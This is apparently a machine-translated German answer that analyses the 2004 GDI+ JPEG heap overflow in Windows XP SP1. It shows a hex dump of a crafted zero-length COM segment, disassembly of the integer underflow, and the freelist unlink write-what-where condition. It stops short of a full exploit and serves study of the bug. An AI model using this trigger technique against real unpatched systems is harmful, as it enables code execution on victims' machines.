Diese Sicherheitsanfälligkeit war definitiv ein Haufenüberlauf .
Wie kann das Schreiben von 0XFFFFFFFE-Bytes (4 GB !!!!) das Programm möglicherweise nicht zum Absturz bringen?
Dies wird wahrscheinlich der Fall sein, aber in einigen Fällen haben Sie Zeit zum Ausnutzen, bevor der Absturz auftritt (manchmal können Sie das Programm auf seine normale Ausführung zurücksetzen und den Absturz vermeiden).
Wenn memcpy () gestartet wird, überschreibt die Kopie entweder einige andere Heap-Blöcke oder einige Teile der Heap-Verwaltungsstruktur (z. B. freie Liste, Besetztliste usw.).
Irgendwann stößt die Kopie auf eine nicht zugewiesene Seite und löst beim Schreiben eine AV (Zugriffsverletzung) aus. GDI + wird dann versuchen, einen neuen Block im Heap zuzuweisen (siehe ntdll! RtlAllocateHeap ) ... aber die Heap-Strukturen sind jetzt alle durcheinander.
An diesem Punkt können Sie durch sorgfältiges Erstellen Ihres JPEG-Bilds die Heap-Verwaltungsstrukturen mit kontrollierten Daten überschreiben. Wenn das System versucht, den neuen Block zuzuweisen, wird wahrscheinlich die Verknüpfung eines (freien) Blocks mit der freien Liste aufgehoben.
Blöcke werden mit (insbesondere) einem Flink- (Vorwärtslink; der nächste Block in der Liste) und einem Blink- (Rückwärtslink; der vorherige Block in der Liste) Zeiger verwaltet. Wenn Sie sowohl das Flinken als auch das Blinken steuern, haben Sie möglicherweise eine mögliche WRITE4 (Write What / Where-Bedingung), in der Sie steuern, was Sie schreiben und wo Sie schreiben können.
Zu diesem Zeitpunkt können Sie einen Funktionszeiger überschreiben ( SEH- Zeiger ( Structured Exception Handlers) waren zu diesem Zeitpunkt im Jahr 2004 ein Ziel der Wahl) und die Codeausführung erhalten.
Siehe Blog-Beitrag Heap Corruption: Eine Fallstudie .
Hinweis: Obwohl ich über die Ausnutzung mithilfe der Freelist geschrieben habe, kann ein Angreifer einen anderen Pfad unter Verwendung anderer Heap-Metadaten auswählen ("Heap-Metadaten" sind Strukturen, die vom System zur Verwaltung des Heaps verwendet werden; Flink und Blink sind Teil der Heap-Metadaten) Die Unlink-Ausnutzung ist wahrscheinlich die "einfachste". Eine Google-Suche nach "Heap Exploitation" wird zahlreiche Studien dazu liefern.
Schreibt dies über den Heap-Bereich hinaus und in den Bereich anderer Programme und des Betriebssystems?
Noch nie. Moderne Betriebssysteme basieren auf dem Konzept des virtuellen Adressraums, sodass jeder Prozess seinen eigenen virtuellen Adressraum hat, der die Adressierung von bis zu 4 Gigabyte Speicher auf einem 32-Bit-System ermöglicht (in der Praxis haben Sie nur die Hälfte davon im Benutzerland). der Rest ist für den Kernel).
Kurz gesagt, ein Prozess kann nicht auf den Speicher eines anderen Prozesses zugreifen (außer wenn er den Kernel über einen Dienst / eine API danach fragt, der Kernel jedoch prüft, ob der Aufrufer das Recht dazu hat).
Ich habe beschlossen, diese Sicherheitsanfälligkeit am Wochenende zu testen, damit wir eine gute Vorstellung davon bekommen, was vor sich geht, und nicht nur über Spekulationen. Die Sicherheitsanfälligkeit ist jetzt 10 Jahre alt, daher dachte ich, es sei in Ordnung, darüber zu schreiben, obwohl ich den Ausnutzungsteil in dieser Antwort nicht erklärt habe.
Planung
Die schwierigste Aufgabe war es, ein Windows XP mit nur SP1 zu finden, wie es 2004 war :)
Dann habe ich ein JPEG-Bild heruntergeladen, das nur aus einem einzelnen Pixel besteht, wie unten gezeigt (der Kürze halber geschnitten):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Ein JPEG-Bild besteht aus binären Markern (die Segmente einführen). Im obigen Bild FF D8
befindet sich der SOI-Marker (Start Of Image), während FF E0
er beispielsweise ein Anwendungsmarker ist.
Der erste Parameter in einem Markersegment (mit Ausnahme einiger Marker wie SOI) ist ein Zwei-Byte-Längenparameter, der die Anzahl der Bytes im Markersegment einschließlich des Längenparameters und ohne den Zwei-Byte-Marker codiert.
Ich habe einfach einen COM-Marker (0x FFFE
) direkt nach dem SOI hinzugefügt , da die Marker keine strenge Reihenfolge haben.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Die Länge des COM-Segments wird so eingestellt, dass 00 00
die Sicherheitsanfälligkeit ausgelöst wird. Ich habe auch 0xFFFC-Bytes direkt nach dem COM-Marker mit einem wiederkehrenden Muster, einer 4-Byte-Zahl in hexadezimaler Form, eingefügt, was nützlich sein wird, wenn die Sicherheitsanfälligkeit "ausgenutzt" wird.
Debuggen
Ein Doppelklick auf das Bild löst sofort den Fehler in der Windows-Shell (auch bekannt als "explorer.exe") irgendwo gdiplus.dll
in einer Funktion mit dem Namen aus GpJpegDecoder::read_jpeg_marker()
.
Diese Funktion wird für jeden Marker im Bild aufgerufen. Sie liest einfach die Markersegmentgröße, weist einen Puffer zu, dessen Länge der Segmentgröße entspricht, und kopiert den Inhalt des Segments in diesen neu zugewiesenen Puffer.
Hier der Start der Funktion:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
Das Register zeigt auf die Segmentgröße und edi
gibt die Anzahl der im Bild verbleibenden Bytes an.
Der Code liest dann die Segmentgröße, beginnend mit dem höchstwertigen Byte (Länge ist ein 16-Bit-Wert):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Und das niedrigstwertige Byte:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Sobald dies erledigt ist, wird die Segmentgröße verwendet, um einen Puffer nach dieser Berechnung zuzuweisen:
alloc_size = segment_size + 2
Dies geschieht durch den folgenden Code:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
In unserem Fall beträgt die zugewiesene Größe für den Puffer 2 Byte , da die Segmentgröße 0 ist .
Die Sicherheitsanfälligkeit liegt direkt nach der Zuweisung:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Der Code subtrahiert einfach die Größe segment_size (Segmentlänge ist ein Wert von 2 Byte) von der gesamten Segmentgröße (in unserem Fall 0) und führt zu einem ganzzahligen Unterlauf: 0 - 2 = 0xFFFFFFFE
Der Code prüft dann, ob noch Bytes im Bild zu analysieren sind (was wahr ist), und springt dann zur Kopie:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Das obige Snippet zeigt, dass die Kopiergröße 0xFFFFFFFE 32-Bit-Chunks beträgt. Der Quellpuffer wird gesteuert (Bildinhalt) und das Ziel ist ein Puffer auf dem Heap.
Schreibbedingung
Die Kopie löst eine Ausnahme von Zugriffsverletzungen (AV) aus, wenn sie das Ende der Speicherseite erreicht (dies kann entweder vom Quellzeiger oder vom Zielzeiger sein). Wenn der AV ausgelöst wird, befindet sich der Heap bereits in einem anfälligen Zustand, da die Kopie bereits alle folgenden Heap-Blöcke überschrieben hat, bis eine nicht zugeordnete Seite gefunden wurde.
Was diesen Fehler ausnutzbar macht, ist, dass 3 SEH (Structured Exception Handler; dies ist try / außer auf niedriger Ebene) Ausnahmen für diesen Teil des Codes abfangen. Genauer gesagt, der 1. SEH wickelt den Stapel ab, sodass er wieder einen anderen JPEG-Marker analysiert und den Marker, der die Ausnahme ausgelöst hat, vollständig überspringt.
Ohne SEH hätte der Code gerade das gesamte Programm zum Absturz gebracht. Der Code überspringt also das COM-Segment und analysiert ein anderes Segment. Wir kehren also GpJpegDecoder::read_jpeg_marker()
mit einem neuen Segment zurück und wenn der Code einen neuen Puffer zuweist:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Das System hebt die Verknüpfung eines Blocks mit der freien Liste auf. Es kommt vor, dass Metadatenstrukturen durch den Inhalt des Bildes überschrieben wurden; Daher steuern wir die Verknüpfung mit kontrollierten Metadaten. Der folgende Code befindet sich irgendwo im System (ntdll) im Heap-Manager:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Jetzt können wir schreiben, was wir wollen, wo wir wollen ...